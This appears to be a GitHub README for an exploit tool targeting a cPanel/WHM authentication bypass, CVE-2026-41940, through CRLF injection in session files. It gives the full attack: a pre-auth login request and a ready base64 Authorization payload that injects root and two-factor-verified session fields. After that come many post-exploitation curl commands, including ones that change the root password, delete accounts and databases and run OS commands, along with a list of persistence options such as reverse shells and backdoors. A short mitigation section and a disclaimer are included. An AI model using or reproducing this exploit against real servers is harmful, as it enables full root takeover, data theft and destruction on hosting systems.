CVE-2026-41940 - cPanel & WHM Authentication Bypass Exploit

Critical Authentication Bypass via CRLF Injection in cPanel/WHM cpsrvd Daemon

📋 Overview

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel & WHM that allows unauthenticated remote attackers to gain root-level administrative access to the server. The vulnerability exists in the cpsrvd daemon's session handling, specifically within Cpanel/Session.pm, where improper neutralization of line delimiters (CRLF) in the whostmgrsession cookie and Authorization headers enables session parameter injection.

CVSS Score	Exploit Type	Impact	Attack Vector
9.8	Authentication Bypass	Root Access	Network

⚡ Key Features

This exploit tool provides the following key features:

🔓 Authentication Bypass - Gain root WHM access without credentials
🛡️ Multiple Bypass Techniques - Automatically tries different verification methods
🌐 Proxy Support - Route traffic through HTTP/HTTPS proxies
📊 JSON Reporting - Generate detailed assessment reports
📝 Comprehensive Logging - Verbose debug mode with timestamps
🔍 Version Detection - Automatically detect and check vulnerable versions
👥 Account Enumeration - List all cPanel accounts post-exploitation
🎯 Multiple Endpoints - Attempts various API endpoints for verification

🚨 Vulnerability Details

🔬 Technical Analysis

The vulnerability stems from two main issues:

CRLF Injection in Session Storage - The saveSession function fails to sanitize newline characters (\n) in the pass field before writing to the session file, allowing injection of arbitrary session parameters.
Conditional Encoding Bypass - When the session cookie lacks the ob part (the segment after the comma), the pass value is written unencoded (cleartext), enabling the injection of CRLF sequences.

🎯 Affected Versions

📦 Installation

Prerequisites

# Python 3.6 or higher required
python3 --version

# Install required packages
pip install -r requirements.txt

Requirements File

requests>=2.28.0
urllib3>=1.26.0

Clone Repository

git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

🚀 Usage

Basic Usage

python3 exploit.py --target https://target.com:2087

Advanced Usage

# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose

# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080

# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts

# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30

Example Output

=======================================================
 CVE-2026-41940 - cPanel/WHM Authentication Bypass
 Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
 Exploit Version: 1.0
=======================================================
 Target      : https://target.com:2087
 Started     : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}

=======================================================
 EXPLOIT SUCCESSFUL
=======================================================
 Target              : https://target.com:2087
 Token               : /cpsess1234567890
 Admin URL           : https://target.com:2087/cpsess1234567890/
 Version             : 11.110.0.85
 Verification Method : url_format
 Completed           : 2026-07-26 22:23:25
=======================================================

[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================

🔧 Command Line Arguments

🔬 Exploit Methodology

Stage 1: Mint Pre-Auth Session

The exploit first obtains a pre-authentication session cookie by attempting a failed login:

POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_pass

Response:

Set-Cookie: whostmgrsession=base64_encoded_data

Stage 2: CRLF Injection

The crafted Authorization header injects malicious session parameters:

GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]

Decoded Payload:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Stage 3: Token Extraction

The server responds with a redirect containing the administrative session token:

Location: /cpsess1234567890/

Stage 4: Access Verification

The exploit attempts multiple verification methods to confirm root access.

🎯 Post-Exploitation Commands

Once the exploit is successful, use the following commands with the obtained token:

Server Information

# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"

# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"

# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"

# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"

# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"

# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"

# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"

# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"

# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"

Account Management

# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"

# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"

# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"

# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"

# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"

# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"

WHM Scripts

# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"

# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"

# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"

# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"

# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"

Administrative Actions

# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
  -d "user=root&pass=NewP@ss123"

# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
  -d "username=testuser&domain=test.com&password=TestPass123&plan=default"

# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
  -d "script=id"

# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
  -d "user=testuser"

# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
  -d "user=testuser"

# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
  -d "user=testuser"

Security Information

# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"

# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"

# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"

# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"

Database Operations

# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"

# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
  -d "db=test_db"

# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
  -d "db=test_db"

# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"

🛡️ Post-Exploitation Capabilities

Once root WHM access is obtained, an attacker can:

Account Management

🔍 List all cPanel accounts
👤 Create new cPanel accounts
🔑 Modify account passwords
❌ Delete or suspend accounts

Server Control

🖥️ Execute OS commands
🔄 Change root password
📊 View server statistics
🗄️ Manage MySQL databases

Persistence

🐚 Deploy reverse shells
🌐 Install web shells
🗝️ Install backdoors
🔒 Create hidden admin accounts

Data Access

📁 Access all server files
💾 Export databases
📧 Read email accounts
🔐 Access SSL certificates

🚨 Emergency Mitigation

Immediate Actions

# 1. Update cPanel/WHM immediately
/scripts/upcp --force

# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel

# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall

# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication

# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords

# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"

# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done

# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ==="
  cat /home/$user/.ssh/authorized_keys 2>/dev/null
done

Long-term Prevention

✅ Implement strict input validation to prevent CRLF injection
✅ Deploy WAF rules to detect and block malicious requests
✅ Enable IP-based access restrictions for WHM
✅ Regularly update cPanel/WHM to latest versions
✅ Conduct regular security assessments
✅ Monitor logs for suspicious activity
✅ Implement principle of least privilege
✅ Enable Security Advisor in WHM
✅ Regular security audits
✅ Implement intrusion detection system

📊 Example Report

{
  "timestamp": "2026-07-26T22:23:25.123456",
  "target": "https://target.com:2087",
  "status": "success",
  "token": "1234567890",
  "detected_version": "11.110.0.85",
  "vulnerable": true,
  "verification_method": "url_format",
  "notes": "Root access confirmed; Token verified",
  "exploit_name": "CVE-2026-41940",
  "cvss_score": "9.8",
  "description": "cPanel/WHM Authentication Bypass via CRLF Injection",
  "exploit_version": "1.0"
}

⚠️ Legal Disclaimer

This tool is provided for educational and ethical security research purposes only. The author and contributors are not responsible for any misuse or damage caused by this software. By using this tool, you agree to assume all responsibility for your actions. Ensure you have explicit permission before testing on any system.

🤝 Contributing

We welcome contributions! Please follow these steps:

🍴 Fork the repository
🔧 Create your feature branch (git checkout -b feature/amazing-feature )
💾 Commit your changes (git commit -m 'Add amazing feature')
📤 Push to the branch (git push origin feature/amazing-feature)
🔃 Open a Pull Request

📝 Changelog

v1.0.0 (2026-07-26)

🎉 Initial release
🔓 CRLF injection exploit implementation
🛡️ Multiple verification bypass techniques
📊 JSON report generation
🌐 Proxy support
📝 Comprehensive logging
🔍 Version detection
👥 Account enumeration
📚 Comprehensive post-exploitation commands

📧 Contact

Security Advisory - [email protected]
GitHub Issues - Create Issue

📚 References

⚠️ REMEMBER: With great power comes great responsibility! Use ethically! ⚠️

Made with ❤️ for the security community

CVE ID	CVE-2026-41940
CVSS Score	9.8 (Critical)
Vulnerability Type	Authentication Bypass via CRLF Injection
Affected Component	cpsrvd daemon (Cpanel/Session.pm)
Attack Vector	Network
Impact	Full Root Access
Exploitation	Unauthenticated Remote

11.110.x	11.110.0.96	11.110.0.97
11.118.x	11.118.0.62	11.118.0.63
11.126.x	11.126.0.53	11.126.0.54
11.132.x	11.132.0.28	11.132.0.29
11.134.x	11.134.0.19	11.134.0.20
11.136.x	11.136.0.4	11.136.0.5

`--target`	`-t`	✅	Target URL (e.g., https://target.com:2087 )
`--verbose`	`-v`	❌	Enable verbose/debug output
`--proxy`	`-p`	❌	Proxy URL (e.g., http://127.0.0.1:8080 )
`--output`	`-o`	❌	Output file for JSON report
`--timeout`		❌	Request timeout in seconds (default: 10)
`--list-accounts`	`-l`	❌	List cPanel accounts after successful exploit
`--version`		❌	Show exploit version

cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

Most Popular

About